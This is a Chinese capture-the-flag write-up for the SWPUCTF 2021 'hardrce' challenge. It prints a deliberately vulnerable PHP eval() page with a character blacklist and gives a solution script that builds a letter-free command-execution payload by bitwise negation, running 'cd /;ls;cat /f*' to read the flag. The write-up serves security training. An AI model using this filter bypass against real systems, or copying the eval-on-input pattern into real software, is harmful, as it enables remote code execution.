SWPUCTF 2021 新生赛 hardrce

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
header("Content-Type:text/html;charset=utf-8");
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['wllm']))
{
$wllm = $_GET['wllm'];
$blacklist = [' ','\t','\r','\n','\+','\[','\^','\]','\"','\-','\$','\*','\?','\<','\>','\=','\`',];
foreach ($blacklist as $blackitem)
{
if (preg_match('/' . $blackitem . '/m', $wllm)) {
die("LTLT说不能用这些奇奇怪怪的符号哦!");
}}
if(preg_match('/[a-zA-Z]/is',$wllm))
{
die("Ra's Al Ghul说不能用字母哦!");
}
echo "NoVic4说:不错哦小伙子,可你能拿到flag吗?";
eval($wllm);
}
else
{
echo "蔡总说:注意审题!!!";
}

分析

代码中有两个正则表达式,不能用字母数字来rce,并且将异或和自增都给过滤了

但是可以用到取反操作 。

RCE篇之无数字字母rce 可以查看这篇文章:RCE篇之无数字字母rce - 学安全的小白 - 博客园 (cnblogs.com)

脚本

1
2
3
4
5
6
7
8
9
10
11
<?php
header("Content-type:text/html;charset=utf8");
highlight_file(__FILE__);
$a='system';
$b='cd /;ls;cat /f*';
//这里并没有附加上双引号,也就是执行的代码是system(cd /;ls;cat /f*)
//不知道为啥不能加,反正我加上双引号后,就无回显
echo urlencode(~$a);
print("\n");
echo urlencode(~$b);

知识点

都在链接里

Donate
  • Copyright: Copyright is owned by the author. For commercial reprints, please contact the author for authorization. For non-commercial reprints, please indicate the source.

扫一扫,分享到微信

微信分享二维码
  • Copyrights © 2015-2024 John Doe
  • Visitors: | Views:

请我喝杯咖啡吧~

支付宝
微信